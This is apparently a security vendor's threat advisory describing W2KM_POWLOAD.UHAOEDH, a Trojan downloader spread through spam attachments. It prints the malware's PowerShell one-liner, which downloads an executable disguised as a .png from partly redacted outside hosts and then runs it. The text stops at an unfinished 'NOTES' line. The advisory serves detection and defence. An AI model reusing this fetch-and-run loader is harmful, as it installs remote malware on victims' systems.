W2KM_POWLOAD.UHAOEDH

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}ou.net/svoren.png
• http://{BLOCKED}anx.co.id/svoren.png

It saves the files it downloads using the following names:

• %User Temp%\{random filename}.exe

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• It uses Powershell commands to download and execute a malicious file:
  • function zpcaknlsxj([String] $qnwjutf5){(New-Object System.Net.WebClient).DownloadFile($qnwjutf5,'%TMP%\{random filename}.exe');Start-Process '%TMP%\{random filename}.exe';}try{zpcaknlsxj('http://{BLOCKED}sou.net/svoren.png')}catch{zpcaknlsxj('http://{BLOCKED}anx.co.id/svoren.png')};

NOTES:
The document contains the following message details luring users to enable macro content: